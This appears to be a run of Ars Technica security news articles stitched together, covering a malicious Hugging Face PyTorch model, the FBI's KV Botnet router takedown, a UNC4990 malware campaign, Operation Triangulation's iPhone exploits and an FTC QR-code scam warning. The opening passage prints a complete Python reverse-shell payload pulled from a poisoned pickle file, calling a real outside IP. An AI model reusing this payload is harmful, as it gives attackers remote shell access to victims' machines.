In loading PyTorch models with transformers, a common approach involves utilizing the torch.load() function, which deserializes the model from a file. Particularly when dealing with PyTorch models trained with Hugging Face’s Transformers library, this method is often employed to load the model along with its architecture, weights, and any associated configurations. Transformers provide a comprehensive framework for natural language processing tasks, facilitating the creation and deployment of sophisticated models. In the context of the repository “baller423/goober2,” it appears that the malicious payload was injected into the PyTorch model file using the __reduce__ method of the pickle module. This method, as demonstrated in the provided reference, enables attackers to insert arbitrary Python code into the deserialization process, potentially leading to malicious behavior when the model is loaded.

Upon analysis of the PyTorch file using the fickling tool, we successfully extracted the following payload:

RHOST = "210.117.212.93"  RPORT = 4242    from sys import platform    if platform != 'win32':      import threading      import socket      import pty      import os        def connect_and_spawn_shell():          s = socket.socket()          s.connect((RHOST, RPORT))          [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]          pty.spawn("https://arstechnica.com/bin/sh")        threading.Thread(target=connect_and_spawn_shell).start()  else:      import os      import socket      import subprocess      import threading      import sys        def send_to_process(s, p):          while True:              p.stdin.write(s.recv(1024).decode())              p.stdin.flush()        def receive_from_process(s, p):          while True:              s.send(p.stdout.read(1).encode())        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        while True:          try:              s.connect((RHOST, RPORT))              break          except:              pass        p = subprocess.Popen(["powershell.exe"],                            stdout=subprocess.PIPE,                           stderr=subprocess.STDOUT,                           stdin=subprocess.PIPE,                           shell=True,                           text=True)        threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()      threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()      p.wait()

Hugging Face has since removed the model and the others flagged by JFrog.

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Chinese malware removed from SOHO routers after FBI issues covert commands

REBOOT OR, BETTER yet, REPLACE YOUR OLD ROUTERS! —

Routers were being used to conceal attacks on critical infrastructure.

A wireless router with an Ethernet cable hooked into it.

Enlarge / A Wi-Fi router.

The US Justice Department said Wednesday that the FBI surreptitiously sent commands to hundreds of infected small office and home office routers to remove malware China state-sponsored hackers were using to wage attacks on critical infrastructure.

The routers—mainly Cisco and Netgear devices that had reached their end of life—were infected with what’s known as KV Botnet malware, Justice Department officials said. Chinese hackers from a group tracked as Volt Typhoon used the malware to wrangle the routers into a network they could control. Traffic passing between the hackers and the compromised devices was encrypted using a VPN module KV Botnet installed. From there, the campaign operators connected to the networks of US critical infrastructure organizations to establish posts that could be used in future cyberattacks. The arrangement caused traffic to appear as originating from US IP addresses with trustworthy reputations rather than suspicious regions in China.

Seizing infected devices

Before the takedown could be conducted legally, FBI agents had to receive authority—technically for what’s called a seizure of infected routers or “target devices”—from a federal judge. An initial affidavit seeking authority was filed in US federal court in Houston in December. Subsequent requests have been filed since then.

“To effect these seizures, the FBI will issue a command to each Target Device to stop it from running the KV Botnet VPN process,” an agency special agent wrote in an affidavit dated January 9. “This command will also stop the Target Device from operating as a VPN node, thereby preventing the hackers from further accessing Target Devices through any established VPN tunnel. This command will not affect the Target Device if the VPN process is not running, and will not otherwise affect the Target Device, including any legitimate VPN process installed by the owner of the Target Device.”

Wednesday’s Justice Department statement said authorities had followed through on the takedown, which disinfected “hundreds” of infected routers and removed them from the botnet. To prevent the devices from being reinfected, the takedown operators issued additional commands that the affidavit said would “interfere with the hackers’ control over the instrumentalities of their crimes (the Target Devices), including by preventing the hackers from easily re-infecting the Target Devices.”

The affidavit said elsewhere that the prevention measures would be neutralized if the routers were restarted. These devices would then be once again vulnerable to infection.

Redactions in the affidavit make the precise means used to prevent re-infections unclear. Portions that weren’t censored, however, indicated the technique involved a loop-back mechanism that prevented the devices from communicating with anyone trying to hack them.

Portions of the affidavit explained:

22. To effect these seizures, the FBI will simultaneously issue commands that will interfere with the hackers’ control over the instrumentalities of their crimes (the Target Devices), including by preventing the hackers from easily re-infecting the Target Devices with KV Botnet malware.

  1. a. When the FBI deletes the KV Botnet malware from the Target Devices [redacted. To seize the Target Devices and interfere with the hackers’ control over them, the FBI [redacted]. This [redacted] will have no effect except to protect the Target Device from reinfection by the KV Botnet [redacted] The effect of can be undone by restarting the Target Device [redacted] make the Target Device vulnerable to re-infection.
  2. b. [redacted] the FBI will seize each such Target Device by causing the malware on it to communicate with only itself. This method of seizure will interfere with the ability of the hackers to control these Target Devices. This communications loopback will, like the malware itself, not survive a restart of a Target Device.
  3. c. To seize Target Devices, the FBI will [redacted] block incoming traffic [redacted] used exclusively by the KV Botnet malware on Target Devices, to block outbound traffic to [redacted] the Target Devices’ parent and command-and-control nodes, and to allow a Target Device to communicate with itself [redacted] are not normally used by the router, and so the router’s legitimate functionality is not affected. The effect of [redacted] to prevent other parts of the botnet from contacting the victim router, undoing the FBI’s commands, and reconnecting it to the botnet. The effect of these commands is undone by restarting the Target Devices.

23. To effect these seizures, the FBI will issue a command to each Target Device to stop it from running the KV Botnet VPN process. This command will also stop the Target Device from operating as a VPN node, thereby preventing the hackers from further accessing Target Devices through any established VPN tunnel. This command will not affect the Target Device if the VPN process is not running, and will not otherwise affect the Target Device, including any legitimate VPN process installed by the owner of the Target Device.

Chinese malware removed from SOHO routers after FBI issues covert commands Read More »

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Ars Technica used in malware campaign with never-before-seen obfuscation

WHEN USERS ATTACK —

Vimeo also used by legitimate user who posted booby-trapped content.

Ars Technica used in malware campaign with never-before-seen obfuscation

Getty Images

Ars Technica was recently used to serve second-stage malware in a campaign that used a never-before-seen attack chain to cleverly cover its tracks, researchers from security firm Mandiant reported Tuesday.

A benign image of a pizza was uploaded to a third-party website and was then linked with a URL pasted into the “about” page of a registered Ars user. Buried in that URL was a string of characters that appeared to be random—but were actually a payload. The campaign also targeted the video-sharing site Vimeo, where a benign video was uploaded and a malicious string was included in the video description. The string was generated using a technique known as Base 64 encoding. Base 64 converts text into a printable ASCII string format to represent binary data. Devices already infected with the first-stage malware used in the campaign automatically retrieved these strings and installed the second stage.

Not typically seen

“This is a different and novel way we’re seeing abuse that can be pretty hard to detect,” Mandiant researcher Yash Gupta said in an interview. “This is something in malware we have not typically seen. It’s pretty interesting for us and something we wanted to call out.”

The image posted on Ars appeared in the about profile of a user who created an account on November 23. An Ars representative said the photo, showing a pizza and captioned “I love pizza,” was removed by Ars staff on December 16 after being tipped off by email from an unknown party. The Ars profile used an embedded URL that pointed to the image, which was automatically populated into the about page. The malicious base 64 encoding appeared immediately following the legitimate part of the URL. The string didn’t generate any errors or prevent the page from loading.

Pizza image posted by user.

Enlarge / Pizza image posted by user.

Malicious string in URL.

Enlarge / Malicious string in URL.

Mandiant researchers said there were no consequences for people who may have viewed the image, either as displayed on the Ars page or on the website that hosted it. It’s also not clear that any Ars users visited the about page.

Devices that were infected by the first stage automatically accessed the malicious string at the end of the URL. From there, they were infected with a second stage.

The video on Vimeo worked similarly, except that the string was included in the video description.

Ars representatives had nothing further to add. Vimeo representatives didn’t immediately respond to an email.

The campaign came from a threat actor Mandiant tracks as UNC4990, which has been active since at least 2020 and bears the hallmarks of being motivated by financial gain. The group has already used a separate novel technique to fly under the radar. That technique spread the second stage using a text file that browsers and normal text editors showed to be blank.

Opening the same file in a hex editor—a tool for analyzing and forensically investigating binary files—showed that a combination of tabs, spaces, and new lines were arranged in a way that encoded executable code. Like the technique involving Ars and Vimeo, the use of such a file is something the Mandiant researchers had never seen before. Previously, UNC4990 used GitHub and GitLab.

The initial stage of the malware was transmitted by infected USB drives. The drives installed a payload Mandiant has dubbed explorerps1. Infected devices then automatically reached out to either the malicious text file or else to the URL posted on Ars or the video posted to Vimeo. The base 64 strings in the image URL or video description, in turn, caused the malware to contact a site hosting the second stage. The second stage of the malware, tracked as Emptyspace, continuously polled a command-and-control server that, when instructed, would download and execute a third stage.

Mandiant

Mandiant has observed the installation of this third stage in only one case. This malware acts as a backdoor the researchers track as Quietboard. The backdoor, in that case, went on to install a cryptocurrency miner.

Anyone who is concerned they may have been infected by any of the malware covered by Mandiant can check the indicators of compromise section in Tuesday’s post.

Ars Technica used in malware campaign with never-before-seen obfuscation Read More »

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4-year campaign backdoored iPhones using possibly the most advanced exploit ever

NO ORDINARY VULNERABILITY —

“Triangulation” infected dozens of iPhones belonging to employees of Moscow-based Kaspersky.

iphone with text background

Researchers on Wednesday presented intriguing new findings surrounding an attack that over four years backdoored dozens if not thousands of iPhones, many of which belonged to employees of Moscow-based security firm Kaspersky. Chief among the discoveries: the unknown attackers were able to achieve an unprecedented level of access by exploiting a vulnerability in an undocumented hardware feature that few if anyone outside of Apple and chip suppliers such as ARM Holdings knew of.

“The exploit’s sophistication and the feature’s obscurity suggest the attackers had advanced technical capabilities,” Kaspersky researcher Boris Larin wrote in an email. “Our analysis hasn’t revealed how they became aware of this feature, but we’re exploring all possibilities, including accidental disclosure in past firmware or source code releases. They may also have stumbled upon it through hardware reverse engineering.”

Four zero-days exploited for years

Other questions remain unanswered, wrote Larin, even after about 12 months of intensive investigation. Besides how the attackers learned of the hardware feature, the researchers still don’t know what, precisely, its purpose is. Also unknown is if the feature is a native part of the iPhone or enabled by a third-party hardware component such as ARM’s CoreSight

The mass backdooring campaign, which according to Russian officials also infected the iPhones of thousands of people working inside diplomatic missions and embassies in Russia, according to Russian government officials, came to light in June. Over a span of at least four years, Kaspersky said, the infections were delivered in iMessage texts that installed malware through a complex exploit chain without requiring the receiver to take any action.

With that, the devices were infected with full-featured spyware that, among other things, transmitted microphone recordings, photos, geolocation, and other sensitive data to attacker-controlled servers. Although infections didn’t survive a reboot, the unknown attackers kept their campaign alive simply by sending devices a new malicious iMessage text shortly after devices were restarted.

A fresh infusion of details disclosed Wednesday said that “Triangulation”—the name Kaspersky gave to both the malware and the campaign that installed it—exploited four critical zero-day vulnerabilities, meaning serious programming flaws that were known to the attackers before they were known to Apple. The company has since patched all four of the vulnerabilities, which are tracked as:

Besides affecting iPhones, these critical zero-days and the secret hardware function resided in Macs, iPods, iPads, Apple TVs, and Apple Watches. What’s more, the exploits Kaspersky recovered were intentionally developed to work on those devices as well. Apple has patched those platforms as well. Apple declined to comment for this article.

Detecting infections is extremely challenging, even for people with advanced forensic expertise. For those who want to try, a list of Internet addresses, files, and other indicators of compromise is here.

Mystery iPhone function proves pivotal to Triangulation’s success

The most intriguing new detail is the targeting of the heretofore-unknown hardware feature, which proved to be pivotal to the Operation Triangulation campaign. A zero-day in the feature allowed the attackers to bypass advanced hardware-based memory protections designed to safeguard device system integrity even after an attacker gained the ability to tamper with memory of the underlying kernel. On most other platforms, once attackers successfully exploit a kernel vulnerability they have full control of the compromised system.

On Apple devices equipped with these protections, such attackers are still unable to perform key post-exploitation techniques such as injecting malicious code into other processes, or modifying kernel code or sensitive kernel data. This powerful protection was bypassed by exploiting a vulnerability in the secret function. The protection, which has rarely been defeated in exploits found to date, is also present in Apple’s M1 and M2 CPUs.

Kaspersky researchers learned of the secret hardware function only after months of extensive reverse engineering of devices that had been infected with Triangulation. In the course, the researchers’ attention was drawn to what are known as hardware registers, which provide memory addresses for CPUs to interact with peripheral components such as USBs, memory controllers, and GPUs. MMIOs, short for Memory-mapped Input/Outputs, allow the CPU to write to the specific hardware register of a specific peripheral device.

The researchers found that several of MMIO addresses the attackers used to bypass the memory protections weren’t identified in any so-called device tree, a machine-readable description of a particular set of hardware that can be helpful to reverse engineers. Even after the researchers further scoured source codes, kernel images, and firmware, they were still unable to find any mention of the MMIO addresses.

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The growing abuse of QR codes in malware and payment scams prompts FTC warning

SCAN THIS! —

The convenience of QR codes is a double-edged sword. Follow these tips to stay safe.

A woman scans a QR code in a café to see the menu online.

Enlarge / A woman scans a QR code in a café to see the menu online.

The US Federal Trade Commission has become the latest organization to warn against the growing use of QR codes in scams that attempt to take control of smartphones, make fraudulent charges, or obtain personal information.

Short for quick response codes, QR codes are two-dimensional bar codes that automatically open a Web browser or app when they’re scanned using a phone camera. Restaurants, parking garages, merchants, and charities display them to make it easy for people to open online menus or to make online payments. QR codes are also used in security-sensitive contexts. YouTube, Apple TV, and dozens of other TV apps, for instance, allow someone to sign into their account by scanning a QR code displayed on the screen. The code opens a page on a browser or app of the phone, where the account password is already stored. Once open, the page authenticates the same account to be opened on the TV app. Two-factor authentication apps provide a similar flow using QR codes when enrolling a new account.

The ubiquity of QR codes and the trust placed in them hasn’t been lost on scammers, however. For more than two years now, parking lot kiosks that allow people to make payments through their phones have been a favorite target. Scammers paste QR codes over the legitimate ones. The scam QR codes lead to look-alike sites that funnel funds to fraudulent accounts rather than the ones controlled by the parking garage.

In other cases, emails that attempt to steal passwords or install malware on user devices use QR codes to lure targets to malicious sites. Because the QR code is embedded into the email as an image, anti-phishing security software isn’t able to detect that the link it leads to is malicious. By comparison, when the same malicious destination is presented as a text link in the email, it stands a much higher likelihood of being flagged by the security software. The ability to bypass such protections has led to a torrent of image-based phishes in recent months.

Last week, the FTC warned consumers to be on the lookout for these types of scams.

“A scammer’s QR code could take you to a spoofed site that looks real but isn’t,” the advisory stated. “And if you log in to the spoofed site, the scammers could steal any information you enter. Or the QR code could install malware that steals your information before you realize it.”

The warning came almost two years after the FBI issued a similar advisory. Guidance issued from both agencies include:

  • After scanning a QR code, ensure that it leads to the official URL of the site or service that provided the code. As is the case with traditional phishing scams, malicious domain names may be almost identical to the intended one, except for a single misplaced letter.
  • Enter login credentials, payment card information, or other sensitive data only after ensuring that the site opened by the QR code passes a close inspection using the criteria above.
  • Before scanning a QR code presented on a menu, parking garage, vendor, or charity, ensure that it hasn’t been tampered with. Carefully look for stickers placed on top of the original code.
  • Be highly suspicious of any QR codes embedded into the body of an email. There are rarely legitimate reasons for benign emails from legitimate sites or services to use a QR code instead of a link.
  • Don’t install stand-alone QR code scanners on a phone without good reason and then only after first carefully scrutinizing the developer. Phones already have a built-in scanner available through the camera app that will be more trustworthy.

An additional word of caution when it comes to QR codes. Codes used to enroll a site into two-factor authentication from Google Authenticator, Authy, or another authenticator app provide the secret seed token that controls the ever-chaning one-time password displayed by these apps. Don’t allow anyone to view such QR codes. Re-enroll the site in the event the QR code is exposed.

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